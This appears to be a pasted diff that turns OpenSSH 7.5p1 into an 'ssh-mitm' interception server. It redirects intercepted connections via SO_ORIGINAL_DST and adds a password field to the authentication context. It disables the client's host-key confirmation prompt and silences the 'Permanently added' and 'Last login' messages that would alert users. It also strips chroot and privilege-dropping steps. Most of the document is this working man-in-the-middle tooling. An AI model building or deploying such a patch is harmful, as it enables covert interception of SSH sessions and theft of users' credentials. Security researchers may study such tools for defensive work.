- static void warn_changed_key(Key *);
- @@ -916,10 +920,12 @@
- "address '%.128s' to the list of known "
- "hosts (%.500s).", type, ip,
- user_hostfiles[0]);
- - else
- - logit("Warning: Permanently added the %s host "
- + /* Suppress the warning about adding this host key. */
- + /*else
- + logit("Warning: Permanently added the %s host "
- "key for IP address '%.128s' to the list "
- - "of known hosts.", type, ip);
- + "of known hosts.", type, ip);*/
- +
- } else if (options.visual_host_key) {
- fp = sshkey_fingerprint(host_key,
- options.fingerprint_hash, SSH_FP_DEFAULT);
- @@ -995,8 +1001,8 @@
- msg2);
- free(ra);
- free(fp);
- - if (!confirm(msg))
- - goto fail;
- + /*if (!confirm(msg))
- + goto fail;*/
- hostkey_trusted = 1; /* user explicitly confirmed */
- }
- /*
- @@ -1023,13 +1029,17 @@
- host_key, options.hash_known_hosts);
- hostp = host;
- }
- + /* Suppress compiler warning about hostp being set but not
- + * used. */
- + if (hostp) {}
- if (!r)
- logit("Failed to add the host to the list of known "
- "hosts (%.500s).", user_hostfiles[0]);
- - else
- + /* Suppress the warning message about adding to known_hosts */
- + /*else
- logit("Warning: Permanently added '%.200s' (%s) to the "
- - "list of known hosts.", hostp, type);
- + "list of known hosts.", hostp, type);*/
- break;
- case HOST_REVOKED:
- error("@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@");
- @@ -1243,6 +1253,13 @@
- char valid[64], *fp = NULL, *cafp = NULL;
- struct sshkey *plain = NULL;
- + /* Add the host key's fingerprints to the array. Both the old MD5 and new SHA256 fingerprints are stored. */
- + if ((server_hostkey_fps != NULL) && (num_hostkey_fps < MAX_SERVER_HOSTKEY_FPS)) {
- + server_hostkey_fps[num_hostkey_fps].old = sshkey_fingerprint(host_key, SSH_DIGEST_MD5, SSH_FP_DEFAULT);
- + server_hostkey_fps[num_hostkey_fps].new = sshkey_fingerprint(host_key, SSH_DIGEST_SHA256, SSH_FP_DEFAULT);
- + num_hostkey_fps++;
- + }
- +
- if ((fp = sshkey_fingerprint(host_key,
- options.fingerprint_hash, SSH_FP_DEFAULT)) == NULL) {
- error("%s: fingerprint host key: %s", __func__, ssh_err(r));
- diff -ru --new-file -x '*~' -x 'config.*' -x Makefile -x opensshd.init -x survey.sh -x openssh.xml -x buildpkg.sh -x output.0 -x requests -x traces.0 -x configure openssh-7.5p1/sshconnect.h openssh-7.5p1-mitm/sshconnect.h
- --- openssh-7.5p1/sshconnect.h 2017-03-19 22:39:27.000000000 -0400
- +++ openssh-7.5p1-mitm/sshconnect.h 2018-06-12 17:44:46.345760658 -0400
- @@ -29,6 +29,7 @@
- Key **keys;
- int nkeys;
- int external_keysign;
- + char *password;
- };
- struct addrinfo;
- @@ -62,16 +63,20 @@
- */
- #define PRIV_START do { \
- int save_errno = errno; \
- + /* \
- if (seteuid(original_effective_uid) != 0) \
- fatal("PRIV_START: seteuid: %s", \
- strerror(errno)); \
- + */ \
- errno = save_errno; \
- } while (0)
- #define PRIV_END do { \
- int save_errno = errno; \
- + /* \
- if (seteuid(original_real_uid) != 0) \
- fatal("PRIV_END: seteuid: %s", \
- strerror(errno)); \
- + */ \
- errno = save_errno; \
- } while (0)
- diff -ru --new-file -x '*~' -x 'config.*' -x Makefile -x opensshd.init -x survey.sh -x openssh.xml -x buildpkg.sh -x output.0 -x requests -x traces.0 -x configure openssh-7.5p1/sshd.c openssh-7.5p1-mitm/sshd.c
- --- openssh-7.5p1/sshd.c 2017-03-19 22:39:27.000000000 -0400
- +++ openssh-7.5p1-mitm/sshd.c 2018-06-12 17:44:46.345760658 -0400
- @@ -72,6 +72,8 @@
- #include <string.h>
- #include <unistd.h>
- #include <limits.h>
- +#include <arpa/inet.h>
- +#include <linux/netfilter_ipv4.h>
- #ifdef WITH_OPENSSL
- #include <openssl/dh.h>
- @@ -122,6 +124,7 @@
- #include "ssh-sandbox.h"
- #include "version.h"
- #include "ssherr.h"
- +#include "lol.h"
- /* Re-exec fds */
- #define REEXEC_DEVCRYPTO_RESERVED_FD (STDERR_FILENO + 1)
- @@ -201,6 +204,9 @@
- int have_ssh2_key;
- } sensitive_data;
- +
- +Lol *lol = NULL;
- +
- /* This is set to true when a signal is received. */
- static volatile sig_atomic_t received_sighup = 0;
- static volatile sig_atomic_t received_sigterm = 0;
- @@ -543,10 +549,13 @@
- /* Demote the child */
- if (getuid() == 0 || geteuid() == 0) {
- /* Change our root directory */
- +/* chroot() won't work since we are not running as root. */
- +/*
- if (chroot(_PATH_PRIVSEP_CHROOT_DIR) == -1)
- fatal("chroot(\"%s\"): %s", _PATH_PRIVSEP_CHROOT_DIR,
- strerror(errno));
- - if (chdir("/") == -1)
- +*/
- + if (chdir(MITM_ROOT) == -1)
- fatal("chdir(\"/\"): %s", strerror(errno));
- /* Drop our privileges */
- @@ -672,6 +681,7 @@
- skip:
- /* It is safe now to apply the key state */
- monitor_apply_keystate(pmonitor);
- + monitor_apply_lol(pmonitor, lol);
- /*
- * Tell the packet layer that authentication was successful, since
- @@ -1372,6 +1382,18 @@
- int keytype;
- Authctxt *authctxt;
- struct connection_info *connection_info = get_connection_info(0, 0);
- +#ifndef DEBUG_HOST
- + struct sockaddr_in origaddr;
- + socklen_t origaddr_len = sizeof(origaddr);
- +#endif
- +
- + lol = (Lol *)calloc(1, sizeof(Lol));
- +
- + /* Terminate if sshd_mitm is running in a privileged account. */
- + if ((getuid() < 500) || (getgid() < 500) || (geteuid() < 500) || (getegid() < 500)) {
- + fprintf(stderr, "Error: sshd_mitm must be run under a non-privileged account! UID and GID must be >= 500.\n");
- + exit(-1);
- + }
- ssh_malloc_init(); /* must be called before any mallocs */
- @@ -1780,7 +1802,8 @@
- (st.st_uid != getuid () ||
- (st.st_mode & (S_IWGRP|S_IWOTH)) != 0))
- #else
- - if (st.st_uid != 0 || (st.st_mode & (S_IWGRP|S_IWOTH)) != 0)
- + /* Ownership of the chroot directory no longer relevant. */
- + if (0)
- #endif
- fatal("%s must be owned by root and not group or "
- "world-writable.", _PATH_PRIVSEP_CHROOT_DIR);
- @@ -1956,6 +1979,17 @@
- signal(SIGCHLD, SIG_DFL);
- signal(SIGINT, SIG_DFL);
- +#ifndef DEBUG_HOST
- + if (getsockopt(sock_in, SOL_IP, SO_ORIGINAL_DST, (struct sockaddr *)&origaddr, &origaddr_len) != 0)
- + fatal("%s: getsockopt failed.", __func__);
- +
- + lol->original_host = strdup(inet_ntoa(origaddr.sin_addr));
- + lol->original_port = ntohs(origaddr.sin_port);
- +#else
- + lol->original_host = strdup(DEBUG_HOST);
- + lol->original_port = DEBUG_PORT;
- +#endif
- +
- /*
- * Register our connection. This turns encryption off because we do
- * not have a key.
- @@ -2040,6 +2074,7 @@
- */
- if (use_privsep) {
- mm_send_keystate(pmonitor);
- + mm_send_lol(pmonitor, lol);
- exit(0);
- }
- diff -ru --new-file -x '*~' -x 'config.*' -x Makefile -x opensshd.init -x survey.sh -x openssh.xml -x buildpkg.sh -x output.0 -x requests -x traces.0 -x configure openssh-7.5p1/sshd_config openssh-7.5p1-mitm/sshd_config
- --- openssh-7.5p1/sshd_config 2017-03-19 22:39:27.000000000 -0400
- +++ openssh-7.5p1-mitm/sshd_config 2018-06-12 17:44:46.349760695 -0400
- @@ -10,22 +10,24 @@
- # possible, but leave them commented. Uncommented options override the
- # default value.
- -#Port 22
- +Port 2222
- #AddressFamily any
- #ListenAddress 0.0.0.0
- #ListenAddress ::
- -#HostKey /etc/ssh/ssh_host_rsa_key
- +HostKey /home/ssh-mitm/etc/ssh_host_rsa_key
- #HostKey /etc/ssh/ssh_host_dsa_key
- #HostKey /etc/ssh/ssh_host_ecdsa_key
- -#HostKey /etc/ssh/ssh_host_ed25519_key
- +HostKey /home/ssh-mitm/etc/ssh_host_ed25519_key
- +
- +PrintMotd no
- # Ciphers and keying
- #RekeyLimit default none
- # Logging
- -#SyslogFacility AUTH
- -#LogLevel INFO
- +SyslogFacility AUTH
- +LogLevel INFO
- # Authentication:
- diff -ru --new-file -x '*~' -x 'config.*' -x Makefile -x opensshd.init -x survey.sh -x openssh.xml -x buildpkg.sh -x output.0 -x requests -x traces.0 -x configure openssh-7.5p1/sshlogin.c openssh-7.5p1-mitm/sshlogin.c
- --- openssh-7.5p1/sshlogin.c 2017-03-19 22:39:27.000000000 -0400
- +++ openssh-7.5p1-mitm/sshlogin.c 2018-06-12 17:44:46.349760695 -0400
- @@ -113,7 +113,8 @@
- else
- snprintf(buf, sizeof(buf), "Last login: %s from %s\r\n",
- time_string, hostname);
- - buffer_append(&loginmsg, buf, strlen(buf));
- + /* Suppress message about last login. */
- + /*buffer_append(&loginmsg, buf, strlen(buf));*/
- }
- # endif /* CUSTOM_SYS_AUTH_GET_LASTLOGIN_MSG */
- #endif /* NO_SSH_LASTLOG */
- diff -ru --new-file -x '*~' -x 'config.*' -x Makefile -x opensshd.init -x survey.sh -x openssh.xml -x buildpkg.sh -x output.0 -x requests -x traces.0 -x configure openssh-7.5p1/uidswap.c openssh-7.5p1-mitm/uidswap.c
- --- openssh-7.5p1/uidswap.c 2017-03-19 22:39:27.000000000 -0400
- +++ openssh-7.5p1-mitm/uidswap.c 2018-06-12 17:44:46.349760695 -0400
- @@ -59,6 +59,8 @@
- void
- temporarily_use_uid(struct passwd *pw)
- {
- + /* Since we are never running as root, don't ever try to change uid/gid. */
- + return;
- /* Save the current euid, and egroups. */
- #ifdef SAVED_IDS_WORK_WITH_SETEUID
- saved_euid = geteuid();
- @@ -134,6 +136,8 @@
- void
- permanently_drop_suid(uid_t uid)
- {
- + /* Since we are never running as root, don't ever try to change uid/gid. */
- + return;
- #ifndef NO_UID_RESTORATION_TEST
- uid_t old_uid = getuid();
- #endif
- @@ -168,6 +172,8 @@
- void
- restore_uid(void)
- {
- + /* Since we are never running as root, don't ever try to change uid/gid. */
- + return;
- /* it's a no-op unless privileged */
- if (!privileged) {
- debug("restore_uid: (unprivileged)");
- @@ -205,6 +211,8 @@
- void
- permanently_set_uid(struct passwd *pw)
- {
- + /* Since we are never running as root, don't ever try to change uid/gid. */
- + return;
- #ifndef NO_UID_RESTORATION_TEST
- uid_t old_uid = getuid();
- gid_t old_gid = getgid();
Add Comment
Please, Sign In to add comment